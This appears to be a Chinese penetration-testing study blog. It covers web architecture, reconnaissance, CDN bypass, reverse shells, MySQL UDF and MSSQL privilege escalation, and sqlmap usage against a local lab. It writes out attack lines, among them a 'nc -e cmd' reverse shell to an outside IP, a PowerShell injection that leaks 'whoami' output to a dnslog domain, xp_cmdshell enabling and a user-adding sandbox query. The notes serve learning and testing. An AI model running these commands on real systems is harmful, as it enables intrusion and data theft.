基础入门
Web 应用
个人感觉信息收集的本质就是摸清 web 结构,有一句话说得好” 知己知彼,百战不殆 “,所以常常会说信息收集很重要,之前也只是对信息收集的想法模模糊糊,认为按照一定的顺序收集一些资料就可以。
- 可以从一个网站常规的搭建思路来进行信息收集(从开发层面来思考安全)
(1) 搭建形式
- 子域名
1 | www.baidu.com |
- 端口
1 | www.baidu.com:80 |
- 目录
感觉类似与 mvc 架构的路由形式
1 | www.baidu.com/index.html |
- 集成环境
1)docker
一个常见的容器代表,很多靶场以及个人身边的校内同学会大量使用。部署方便、安全性相对更高。
ps 个人想法:如果目的是为了拿取服务器权限的话,那后期进入了容器内部,是不是应该简单识别一下容器的状况,判别容器信息。
以下是 chatgpt 给出的一些简易方法:
1 | 1. 查看进程:在服务器上运行的应用程序通常作为进程运行。可以使用类似于“ps -ef”命令查看正在运行的进程,如果进程是在容器中运行的,通常会看到包含“docker”或其他容器管理工具名称的进程。 |
2)分配站
这种可以理解成,博客园搭建这种形式,给每个人分配一个博客网站这样子。个人感觉利用 Github 搭建个人网站也类似这个样子。
3)利用宝塔、phpstudy 等面板搭建网站
总结:利用集成环境搭建会更方便,门槛也相对较低,也更加安全。但是可以根据一些爆出的漏洞进行结合利用。
(2)程序源码(是否可以代码审计)
开源 VS 闭源
(3)数据库部署情况
- 本地服务器部署
- 云数据库
- 服务器数据库部署
总结:本地服务器部署相对来说划算一点,但是可能暴露的弱点也会相对较多。云数据库和服务器数据库更为安全。
Web 架构
从开发层面总体认识一下常见的结构。
- 常规
- 同一台服务器部署
感觉这种结构很常规,如果有突破点也很容易获取各种权限,也更容易思考一些情况。
- 站库分离
- 源码和数据库分离部署
这个时候数据影响主要是另外一个服务器,有可能是另外一台服务器部署数据库或者是在另外一台服务器上使用云数据库产品。
总之呢,比常规的要相对安全一点,数据安全很大得到了保证。
- 前后端分离
-
使用 API 接口传输数据
这个本人之前做一些实验和比赛相关的项目时,使用过基于 python 的 flask 框架和基于 java 的 springboot 框架的相关内容。
个人感觉开发时真的很爽,前端和后端分离开发,最后月接口传输数据即可,避免了大量扯皮,开发时间也节约了。 -
前端页面大部分不存在漏洞
哈,这个我可深有体会。之前测试一个前端采用 vue 写的项目,我尝试测试了很久的 xss 都无果,关键字都被实体化了,使用框架还是很安全的。 -
后端管理大部分不在同域名
感觉会有一个后台数据管理的界面,域名可能和前端域名不一致,所以还得通过一些办法找到后台管理的网址。如果不在同一个域名下,那么如果在原来域名获取到相关权限很有可能不影响后端。
-
集成环境
比如宝塔、phpstudy 等打包类集成环境,可以很轻松搭建好环境。但是这里有一个很显而易见的问题,举个例子。比如我上传了 webshell 获取网站权限,我想命令执行,一些集成环境处于安全性考虑可能不能触发相关命令,另外一些则可以触发相关命令,不太版本也可能存在不同情况,因此个人感觉还需要多积累。 -
docker 容器
-
虚拟化独立磁盘空间,非正式物理环境。
类似于一个小型虚拟机,但是虚拟机是模拟出一个真实的操作系统,对宿主机进行了很严格的隔离。而 docker 是模拟出具体的环境,我也常常使用 docker 来拉取一些特定的环境来进行漏洞复现。
它的特定是拉取方便,不用管各种环境搭建(环境搭建是一个复杂的过程,有时候很顺利,有时候会遇到各种奇奇怪怪的问题),还有就是体积小轻巧。但是呢,隔离性就没有虚拟机那么严格,看过一些资料说 docker 的内核其实和本机还是共用一个,所以可以利用 docker 逃逸来提权或者是作为跳板机之类的思维扩宽打法。 -
docker 一些常用命令
https://www.runoob.com/docker/docker-hello-world.html
一些问题,vmware 挂载虚拟机,重新运行容器发现可以成功启动但是访问不了,原因是需要将 docker 的网络接口设置为不被 NetworkManager 管理。
解决办法:
(1)https://blog.csdn.net/weixin_46439731/article/details/128124219
(2)每次 systemctl restart docker
- 建站分配站
- 申请
- 托管
比如挂载在 Github 或者博客园的个人网站,还有就是一些网站托管平台,这些网站有一个特征就是域名会带由主站的域名特征,这个时候如果要去渗透这些网站,那么很大可能就是在渗透主站,实质安全测试非目标资产。
web 架构相关内容
- WAF
-
web 应用防火墙,对常见的攻击进行检测和过滤防护
-
硬件型 WAF
F5 BIG-IP
Imperva SecureSphere -
软件型 WAF
安全狗
云锁
D 盾 -
云 WAF
阿里云云盾
腾讯云 WAF -
自定义 WAF
这个就相当于自己写代码,根据本款产品特性过滤出一些字符等,如果代码写的不错,这样子就会更贴近本款产品特性,但是对开发人员要求也更高。 -
WAF 的一些常见相关技术
(1)机器学习
(2)词法分析
(3)行为识别
(4)大数据关联分析
- CDN
- 内容分发网络
用于提高访问速度,可以理解为负载均衡的一种实现方式。但是呢,他又不只仅仅只有负载均衡的功能。
很容易理解,为了提高访问速度,他最本质的技术就是在每个地方增加一个 ip 访问节点 ,将网站内容流量放进对应地方的节点中,当用户访问该域名时,域名解析服务器会根据用户所在地点,根据最近原则分配最近的 IP,这样就可以提高访问速度。
如果酱紫的话,就会导致一个问题,隐藏 IP,每个地方 IP 都不同,那么如何获取真实 IP 呢?
- OSS 存储
-
云存储服务
感觉 oss 有点像站库分离,类似于云数据库之类的 -
为什么使用第三方存储?
(1)静态资源文件占用大量带宽,降低访问速度(卡!!!,说白了,就是用户体验感不好)
(2)消耗存储空间 -
从安全防护角度思考 OSS 存储
假如我们上传了一个后门到 OSS 存储对应的存储空间中,使用相关工具获得权限后,发现只是那个存储空间的权限,并不能获取整个网站和服务器的权限,权限相对较低。自然,我们所能查看的内容也就是存储空间里的一些 东西,所以在信息收集的时候就得思考价值问题,如果你花大量时间好不容易进去了,结果只是一些垃圾数据,那么无疑是痛苦的。
-
正向代理
eg:我主动使用代理访问国外服务器资源 -
反向代理
国外服务器将流量资源放入到一台我可以访问的服务器中,这样我就直接访问那台服务器就可以直接获取相关资源。 -
如果一个网站使用了反向代理,从安全防护层面分析一下有什么意义
正向代理 -> 反向代理 -> 反向代理的意义是什么 -> 对于 web 安全来说有啥相关的意义
- 负载均衡
把浏览器资源分到自己的多台服务器资源上,根据权重分配,这样的话就存在多个目标,IP 就会有多个,但是自然没有 CDN 那么多,而且也不会有就近分配的特点。
1 | #定义负载设置 |
反弹 shell
- 命令生成工具
https://forum.ywhack.com/bountytips.php?download
这个工具可以生成各种系统和环境的文件下载命令(反弹需要 nc,有些服务器没有,这时候需要命令执行下载好后才能继续反弹)
- linux 控制 windows
widows: 142.112.11.21
linux: 116.47.21.8
- 正向连接
windows
1 | 绑定CMD到本地5566端口 |
linux
1 | 主动连接目标5566 |
- 反向连接
linux
1 | //等待5566连接 |
windows
1 | //绑定CMD到目标5566端口 |
- windows 控制 linux
widows: 142.112.11.21
linux: 116.47.21.8
- 正向连接
linux
1 | //绑定SH到本地5566端口 |
windows
1 | //主动连接目标5566 |
- 反向连接
windows
1 | 等待5566连接 |
linux
1 | //绑定sh到目标5566端口 |
- 为什么需要反弹 shell
-
解决数据回显、无图形化问题
有时候命令执行数据可能不会回显显示,还有就是操作比较麻烦,我们采用反弹 shell 的思路进行连接可以轻松得到对方主机命令界面,获取我们想要的很多数据。 -
防火墙绕过(出站入站设置)
目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
widows: 142.112.11.21
linux: 116.47.21.8
linux 控制 windows
(1)开启入站策略(入站请求进行过滤)
这个时候可以考虑出站,既然 L 不能主动连接 W,那么就让 W 把权限放给 L 的端口,L 保持监听。
反向连接
Linux
1 | ncat -lvvp 5566 |
windows
1 | nc -e cmd 116.47.21.8 5566 |
我不敢轻易动本机防火墙配置,把实验改成虚拟机的两台机器,一台 kali,一台 Centos。同样俺们的 kali 充当攻击机的角色。
(2)开启出站策略(出战请求过滤)
这个时候出站严格就要考虑入站,那就 L 主动连接 W 吧。
正向连接
windows
1 | 绑定CMD到本地5566端口 |
linux
1 | 主动连接目标5566 |
-
内网服务器、IP 动态变化
如图,如果想要 A 控制 B。
(1)我们先考虑正向连接,如果 A 给 B 发送连接请求,由于 B 的 IP 是内网 IP 不是和 A 一个局域网的,导致无法连接上,在者就是如果 B 的 IP 是变化的也无法连接。
(2)我们再考虑反向连接,如果 B 把权限给到 A 的端口,A 保持监听,由于 A 攻击者让 B 发请求肯定是确定 A 的 IP(可以控制),所以不存在连接不上的问题,除非 B 设置了出站策略。 -
综上
(1)目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
(2)目标机端口被占用。
(3)目标机位于局域网,或 IP 会动态变化,攻击机无法直接连接。
(4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。 -
一些小问题
友链参考:https://returntoinnocence.github.io/posts/tech/linux 虚拟机配置问题 /
1 | kali 处于虚拟机(NAT模式) |
- 正反向内网外网例子理解
1 | 悦悦控制kali (外网控制内网) |
(1)正向
kali
把 /bin/bash 权限给到 5566 端口
悦悦
主动连接 kali 的 5566 端口
kali 的 ip 是内网的找不到
(2)反向
悦悦
等待 5566 连接
kali
把 /bin/bash 权限给到悦悦的 5566 端口
1 | kali控制悦悦(内网控制公网) |
(1)正向
悦悦
把 /bin/bash 权限给到自己的 5566 端口
kali
主动去连接悦悦的 5566 端口
(2)反向
kali
等待 5566 端口连接
悦悦
将 /bin/bash 权限给到 kali 的 5566 端口
(kali 的 ip 是内网找不到)
- 命令执行不回显怎么办?
- 带外查询
http://t.csdn.cn/PmT4b
管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
1 | Windows->| & || && |
powershell
1 | $x=whoami;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z |
1 | 127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z |
- 反弹 shell
信息打点
信息收集初学的时候感觉很混乱,是很杂乱收集的一个过程,当时还只是单纯觉得像一个任务书一样,对每个任务进行打勾筛查即可。总感觉就是类似于没有思考的机器收集。
其实不是这样的,信息收集很多人都说是很重要的一步,既然重要怎么会如此机械呢?最重要的当然就是思考利用!信息收集就是了解对方的一个过程,你要想办法摸清对方架构,运用了什么技术,有哪些资产,有没有之前的漏洞,等等这些都是后面漏洞利用的一个突破点,能不能有一个好的漏洞思路也是由这里引发而来。
业务资产
搞清楚公司规模,涉及网址业务信息等
- WEB 应用
- APP 应用
- PC 端应用
- 小程序应用
- 微信公众号
- 其他产品等
WEB 单域名
- 备案信息
- 企业产权
- 注册域名
- 反查解析
WEB 子域名
- DNS 数据
- 证书查询
- 网络空间
- 威胁情报
- 枚举解析
Web 架构资产
- 程序语言
- 框架源码
- 搭建平台
- 数据库类
- 操作系统
- 企业信息
- 天眼查
https://www.tianyancha.com/ - 小蓝本
https://www.xiaolanben.com/ - 爱企查
https://aiqicha.baidu.com/ - 企查查
https://www.qcc.com/ - 国外企查
https://opencorporates.com/
- 备案信息
- 公众号信息
- 域名注册查询
- IP 反查域名
- DNS 数据
很直观形象的展示了 A 记录、MX 记录、DNS 记录,还有可视化数据展示,感觉很 nice。
- 证书查询
根据 https 证书查询,大部分公司会使用同一个证书注册
- 网络空间测绘
- fofa
https://fofa.info/ - 鹰图
http://hunter.qianxin.com/ - 360
https://quake.360.cn/quake/#/index - 钟馗之眼
https://www.zoomeye.org/?R1nG
- 威胁情报
- 指纹识别
根据这个厂商开发出的产品,比如 CMS 等进行详细拆分,提取指纹信息(标题指纹、关键字指纹、图标指纹)
源码泄露
这一块感觉有点社会工程学,主要从一些特殊的点和程序员” 不太友好 “的习惯入手。
这点还很考究缘分,你得看这个网站具体怎么写的,有过开发经验的小伙伴们很容易知道,快速开发要么依赖于框架或者一些现有的框架进行改动,再或者就是自己开发,自己开发这种就很难获取源码了。
- .git 信息泄露
这篇文章是我在刷 BUU 的时候看到的,感觉写的挺不错的。
https://www.freebuf.com/articles/web/267597.html
-
备份文件
管理员将网站源代码备份在 Web 目录下,攻击者通过猜解文件路径,下载备份文件,导致源代码泄露。
常见的备份文件后缀:zip、rar、tar.gz 等
这个可以使用爆破思想,猜解文件路径,获取备份文件。 -
一些配置文件泄露
这个主要是经验问题了
WEB-INF/web.xml 泄露 -
开源网站信息泄露
就是社工吧,根据一些关键词利用相关开源网站的搜索语法搜索。
-
gitee
https://gitee.com/ -
github
https://github.com/
JS 架构
这里的核心思想主要就是 js 代码白盒测试,js 代码可以直接查看,在开发时候可能会有敏感信息(手机号、邮箱、用户名等)泄露,还有一些加密方式,再者就是一些 URL 或者未授权接口等信息会被扫出来。
一般的常规方式有这样几个:
-
手工搜索
锁定敏感的 js 文件,进入代码里面查询想要的信息。 -
半自动化 Burp 分析
自带功能:Target->sitemap->Engagement tools->Find scripts -
自动化
插件:findsomething
端口 & 蜜罐 & WAF
- 端口扫描的意义
一般会使用端口扫描工具,比如 Nmap 扫描端口开放情况。有很多服务和应用是一些熟悉的端口,或者是部署的人不改端口,识别到这个端口又结合相关应用爆出的漏洞就可以进一步渗透测试,同时还可以根据扫描出来的端口开放情况进一步了解 web 架构。
参考连接:https://www.cnblogs.com/tdcqma/p/5692546.html
该篇文章文章主要介绍了 nmap 最主要的四个功能:主机扫描、端口扫描、版本侦测、操作系统侦测。并且对扫描探测原理做了较为详细的介绍,大概思想是根据网络通信发包根据请求情况进行辨别,并且根据不同协议特点,有准确不准确,全扫描半扫描秘密扫描等一系列情况。
- WAF
-
云 WAF
百度安全宝、阿里云盾、长亭雷池,华为云,亚马逊云等 -
硬件 WAF
绿盟、安恒、深信服、知道创宇等公司商业产品 -
软件 WAF
宝塔,安全狗、D 盾等 -
代码级 WAF
自己写的 waf 规则,防止出现注入等,一般是在代码里面写死的
识别 WAF 的意义:
绕(不在南墙不回头)?or 放弃
- 蜜罐
(1)根据蜜罐与攻击者之间进行的交互的程度可以将蜜罐分为三类
-
低交互蜜罐
-
中交互蜜罐
-
高交互蜜罐
根据蜜罐模拟的目标进行分类 -
数据库蜜罐
-
工控蜜罐
-
物联网蜜罐
-
Web 蜜罐
(2)识别原理
参考:https://mp.weixin.qq.com/s/jPz9hBmUypFyQlU27vglUg
CDN 绕过
https://mp.weixin.qq.com/s/zxEH-HMqKukmq7qXfrdnQQ
超级 Ping:http://www.17ce.com/
超级 Ping:https://ping.chinaz.com/
接口查询:https://get-site-ip.com/
接口查询:https://fofa.info/extensions/source
国外请求:https://tools.ipip.net/cdn.php
国外请求:https://boce.aliyun.com/detect/
IP 社区库:https://www.cz88.net/geo-public
全网扫描:https://github.com/Tai7sy/fuckcdn
全网扫描:https://github.com/boy-hack/w8fuckcdn
全网扫描:https://github.com/Pluto-123/Bypass_cdn
- 解析大致过程
-
普通域名解析
用户访问域名–> 解析服务器获取目标 IP–> 访问目标主机 -
普通 CDN 解析
用户访问域名–> 解析服务器获取 CDNIP–>CDN 节点–> 真实服务器 IP–> 访问目标主机
CDN 最大的特点就是加速和负载均衡
加速是因为有一些不变的静态资源会缓存放在 CDN 节点,负载均衡则是对各个地方的请求根据地区有不同的 CDN 节点(看用户选择配置,地区、全国、全球) -
带 WAF 的 CDN
用户访问域名–> 解析服务器获取 CDNIP–>CDN 节点–>WAF 节点 -> 真实服务器 IP–> 访问目标主机
- CDN 加速配置流程
-
配置 1
加速域名 - 需要启用加速的域名 -
配置 2
加速区域 - 需要启用加速的地区 -
配置 3
加速类型 - 需要启用加速的资源
- 常见绕过方法
-
子域名
配置 1
加速域名 - 需要启用加速的域名,有可能没有给子域名配置 CDN 加速,导致暴露真实 CDN。 -
邮件系统
一般大型网站自己部署架设的邮件服务器如果向外部用户发送邮件的话,如果中间未经任何数据处理和防护措施,那么邮件头部的源码中会包含此邮件服务器的真实 IP 地址。
RSS 订阅
邮箱注册、激活处
邮箱找回密码处
产品更新的邮件推送
某业务执行后发送的邮件通知
员工邮箱、邮件管理平台等入口处的忘记密码 -
国外访问
配置 2
加速区域 - 需要启用加速的地区
有可能配置区域不是全球,可以用国外代理 IP 访问泄露真实 IP。 -
证书查询
证书颁发机构 (CA) 必须将他们发布的每个 SSL/TLS 证书发布到公共日志中,SSL/TLS 证书通常包含域名、子域名和电子邮件地址。
我们可以解析 IP:443 发送的证书,获取到比较准确的域名信息。
1 | from requests.packages.urllib3.contrib import pyopenssl as reqs |
可以 IP 反查得到域名和证书对比。
-
敏感文件泄露
服务器日志文件
探针文件,例如 phpinfo
网站备份压缩文件
.DS_Store
.hg
.git
SVN
Web.xml -
通过变更域名和历史域名
之前的域名由于没过期,可能未使用 CDN,因此可以直接获得服务器 IP -
过 APP 移动端应用
如果网站存在 APP ,可以通过抓包分析其 APP 的数据流量,看是否能找到网站真实 IP 地址,记得关注 APP 的历史版本,里面会有很多 surprise 。 -
通过 F5 LTM 解码
LTM 是将所有的应用请求分配到多个节点服务器上。提高业务的处理能力,也就是负载均衡。
当服务器使用 F5 LTM 做负载均衡时,通过对 set-cookie 关键字的解码,可以获取服务器真实 ip 地址。
-
空间测绘
-
以量打量
ddos 流量耗尽
提权
感觉提权大致可以分为这样几个阶段
后台权限–> 网站权限–> 数据库权限–> 系统权限–> 域控权限
-
后台权限
可以根据登录框相关漏洞进入后台 -
网站权限
一般为有文件上传,命令或代码执行、反序列化等漏洞可以直接上传 shell 连接网站获取网站权限 -
数据库权限
在获取网站权限或者 sql 注入,信息泄露等情况下,连接数据库获取数据库权限 -
系统权限
由网站权限或者或者数据库漏洞或者利用 RCE 反弹 shell 等高危漏洞直接获取系统(服务器)权限,这里系统还得看具体是 windows 还是 linux 不同用户权限也不一样,根据具体的系统权限和操作系统版本可以利用系统高危漏洞进行攻击,造成服务器瘫痪或者进一步后渗透获取域控权限。
-
Linux:
管理员 UID 为 0:系统的管理员用户。
系统用户 UID 为 1~999:Linux 系统为了避免因某个服务程序出现漏洞而被黑客提权至整台服务器
默认服务程序会由独立的系统用户负责运行,进而有效控制被破坏范围。
普通用户 UID 从 1000 开始:是由管理员创建的用于日常工作的用户。 -
Windows:
用户及组:system administrator user guest 等
-
域控权限
高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等
可以理解为操作自己的虚拟机 -
接口权限
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取)
结合接口未授权和一些命令执行等漏洞可以进一步提权
后台权限
登录框相关漏洞
-
信息泄露
kyan 访问 host 路由可以获取登录用户名和密码。
源码泄露,查看 JS 代码等可能会残留用户名和密码
报错信息泄露存在用户名 -
默认产品密码
部署上线人员未更改默认产品密码可以使用默认的直接登录。(panabit 网关登录) -
xss 漏洞
可能存在反射型 xss 或者存储型 xss,两者利用不同,第一种需要结合社工发送给用户登录进而从 xss 平台获取 cookie,第二种存入数据库,只要有用户登录我就可以直接获取用户 cookie 进而登录。(Citrix ADC and Citrix Gateway CVE-2023-24488 跨站脚本漏洞) -
sql 注入
万能密码(用友畅捷通 GNRemote.dll SQL 注入漏洞)、各种注入类型爆出用户名和密码进行登录。 -
结合未授权漏洞
smartbi 对接口未授权访问同时结合逻辑漏洞,先获取 token 发送到服务器,然后根据 token 获取正确 session 即可登录。 -
登录逻辑漏洞
-
密码可以爆破
主要是回显值不同可以控制账号不变,根据密码进行字典爆破从,从而根据包的大小进行爆破。 -
验证码容易绕过
有规律的验证码,或者验证码可以根据某个接口每次提前获取,验证码未失效或者销毁不及时 -
登录逻辑有缺陷
安恒明御防火墙访问特定接口后访问登录界面可以以管理员身份成功登录 24h -
弱密码
比如 admin/123456 -
任意用户注册登录
对填写手机号邮箱未作识别等 -
越权
密码重置链接可以预测未鉴权可以修改后登录 -
任意用户密码修改
奇安信网神 SecSSL VPN 任意用户密码修改漏洞
修改密码后进行登录
- 跨站请求伪造
同源策略未正确匹配,用户识别不清,在同一个浏览器之前登陆过该网站后点击可以自动携带 cookie 进入对应的网站,攻击者也可以获取 cookie。
数据库权限
mysql 提权
- 提权条件
-
数据库帐号密码获取方式
sqll 注入爆出连接用户名和密码
信息泄露,备份文件, 网站配置文件查看 -
数据库的最高权限用户的密码
使其能够连接数据库,可以先通过网站内联数据库,再通过新增超级用户来外联 -
secure-file-priv 没进行目录限制
如果为空,不做目录限制,即任何目录均可以。
如果指定了目录,MySQL 会限制只能从该目录导入、或导出到该目录。目录必须已存在,MySQL 不会自动创建该目录。
如果设置为 NULL,MySQL 服务器禁止导入与导出功能。
- UDF 提权
(1)MSF 自动化提权
-
密码成功连接数据库
-
外联权限
1 | GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION; |
- 查看是否存在目录(高版本则自己创建目录)
mysql<5.2 导出目录 c:/windows 或 system32
mysql=>5.2 导出安装目录 /lib/plugin/
1 | select version(); |
使用 MSF 中的 exploit/multi/mysql/mysql_udf_payload 模块可以进行 UDF 提权
MSF 会将 dll 文件写入 lib\plugin\ 目录下 (前提是该目录存在,需手工创建), 该 dll 文件中包含 sys_exec () 和 sys_eval () 两个函数,但是默认只创建 sys_exec () 函数,该函数执行并不会有回显。我们可以手动创建 sys_eval () 函数,来执行有回显的命令。
rport 默认 3306
1 | use exploit/multi/mysql/mysql_udf_payload |
连接数据库进行命令执行(提权到系统)
1 | select * from mysql.func where name = "sys_exec"; //查看 |
(2)手动反弹 shell
参考:https://blog.csdn.net/weixin_43801718/article/details/105493042
1 | use mysql; |
- 启动项提权
msf
1 | use exploit/windows/mysql/mysql_start_up |
MSSQL 提权
参考:https://blog.51cto.com/11797152/2411770
- 使用 xp_cmdshell 进行提权
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重修开启它。
- 启用:
1 | EXEC sp_configure 'show advanced options', 1 |
- 关闭:
1 | exec sp_configure 'show advanced options', 1; |
- 执行:
1 | EXEC master.dbo.xp_cmdshell '命令' |
如果 xp_cmdshell 被删除了,可以上传 xplog70.dll 进行恢复
1 | exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' |
- 使用 sp_oacreate 进行提权
主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。
- 启用:
1 | EXEC sp_configure 'show advanced options', 1; |
- 关闭:
1 | EXEC sp_configure 'show advanced options', 1; |
- 执行:
1 | declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt' |
- 使用 SQL Server 沙盒提权
- 关闭沙盒模式
1 | exec sp_configure 'show advanced options',1;reconfigure; |
- 查询沙盒模式等级
1 | exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode' |
沙盒模式 SandBoxMode 参数含义(默认是 2)
1 | `0`:在任何所有者中禁止启用安全模式 |
- 执行系统命令(增加系统用户)
1 | select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")') |
工具
sqlmap
目录内容梳理
-
D:\python\sqlmap\data\procs
四种数据库(mssql、mysql、oracal、poatgresql)的一些提权 sql 语句。 -
D:\python\sqlmap\data\shell\backdoors
存放四种类型的 web_shell 文件(asp、jsp、php、aspx) -
D:\python\sqlmap\data\shell\stagers
个人感觉可以简单理解为 payload
Stagers 是一个小发射器(同样以火箭发射作比喻),旨在创建某种形式的通信,然后将执行传递到下一个阶段。使用 stager 解决了两个问题。首先,它允许我们最初使用较小的有效负载来加载具有更多功能的较大的 payload。其次,它使通信机制与最终阶段分离成为可能,因此一个 payload 无需复制代码就可以与多个传输一起使用。 -
D:\python\sqlmap\data\txt
一些爆破的字典(表、列、数据、关键字等) -
D:\python\sqlmap\data\udf
顾名思义,UDF 提权(mysql、postgresql) -
D:\python\sqlmap\data\xml\banner
使用 xml 格式用来记录数据库、请求头、响应头的标志信息,会随着工具运行识别到后响应出来。 -
D:\python\sqlmap\data\xml\payloads
使用 xml 格式用来记录六种 sql 注入类型的 payload
- 布尔型盲注(Boolean-based blind)
- 时间型盲注(Time-based blind)
- 报错型注入(Error-based)
- 联合查询注入(UNION query-based)
- 堆叠查询注入(Stacked queries)
- 内联查询注入(Inline queries)
-
D:\python\sqlmap\doc
各种语言的 Reademe 文档 -
D:\python\sqlmap\extra\beep
发出声音的 python 脚本 -
D:\python\sqlmap\extra\cloak
对文件进行特殊处理,可以生成加密和压缩的二进制后门文件,也可以反过来进行还原。 -
D:\python\sqlmap\extra\dbgtool
一个可执行文件转换为 ASCII 调试脚本
可执行文件可以是各种不同的二进制文件格式,如 Windows 的.exe 文件、Linux 的 ELF 文件、macOS 的 Mach-O 文件等。
将可执行文件转换成 ASCII 的目的是为了将二进制文件转换成人类可读的文本形式。这样做的好处是可以方便地查看和分析可执行文件的内容。ASCII 调试脚本可以以文本形式打印出来,便于阅读和理解。
然而,转换成 ASCII 并不是为了提高可执行文件的阅读性,而是为了提供给调试工具或分析工具使用。调试工具可以使用 ASCII 调试脚本对可执行文件进行调试和分析,以便识别和修复其中的问题。所以,转换成 ASCII 便于调试和分析,而不仅仅是为了提高可读性。对于普通用户来说,直接阅读可执行文件的 ASCII 调试脚本可能并不容易理解。 -
D:\python\sqlmap\extra\icmpsh
在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping 数据包。 -
D:\python\sqlmap\extra\runcmd
cmd 运行程序 -
D:\python\sqlmap\extra\vulnserver
sql 注入漏洞检测逻辑设计 -
D:\python\sqlmap\plugins
sqlmap 自带的功能检测插件 -
D:\python\sqlmap\tamper
一些对数据进行处理的 python 脚本,比如进行 base64 编码,也可以自己写脚本跑。 -
D:\python\sqlmap\thirdparty
一些 python 第三方包
一些常用功能特性
- 支持用户提供单个目标 URL,通过 Burp proxy 或 WebScarab proxy 的请求日志文件批量获取目标地址列表,从文本文件获得完整的 HTTP 请求报文或使用 Google dork—— 使用 Google 查询并解析结果页面获取批量目标。也可以自定义正则表达式进行验证解析
1 | ``` |
0:只显示 Python 的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示 HTTP 请求。
5:显示 HTTP 响应头。
6:显示 HTTP 响应页面的内容
1 | ``` |
3. 在抓取数据时能实时自动保存会话(对应查询和输出结果,支持部分获取保存)到一个文本文件中,并通过解析会话文件继续当前进行的注入检测。
4. 支持枚举用户,密码散列,权限,角色,数据库,数据表和数据列。
1 | --current-db |
- 当前数据库
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db |
- 在指定数据库下的表
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --tables -D "pikachu" |
- 在指定数据库下指定表的字段
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --columns -T "users" -D "pikachu" |
- 在指定数据库指定表指定字段的数据值
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --dump -C "username,password" -T "users" -D "pikachu" |
- MYSQL 高权限注入
1 | 引出权限: |
这个判断也不是很准
6. 支持不同类型提交
- get 提交
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=111&submit=%E6%9F%A5%E8%AF%A2" |
- post 提交
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php" --data "id=1&name=user" |
- 设置特定 cookie 值
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php" --cookie "PHPSESSID=50ch5eppo4v9d9epud4upv6n17" |
- 使用请求的数据包(可以使用 burp 进行保存)进行自动注入,可以在可以注入点位置加入星号
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php" -r 1.txt |
- 使用 Tamper 自定义脚本绕过
1 | python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php" --tamper=base64encode.py |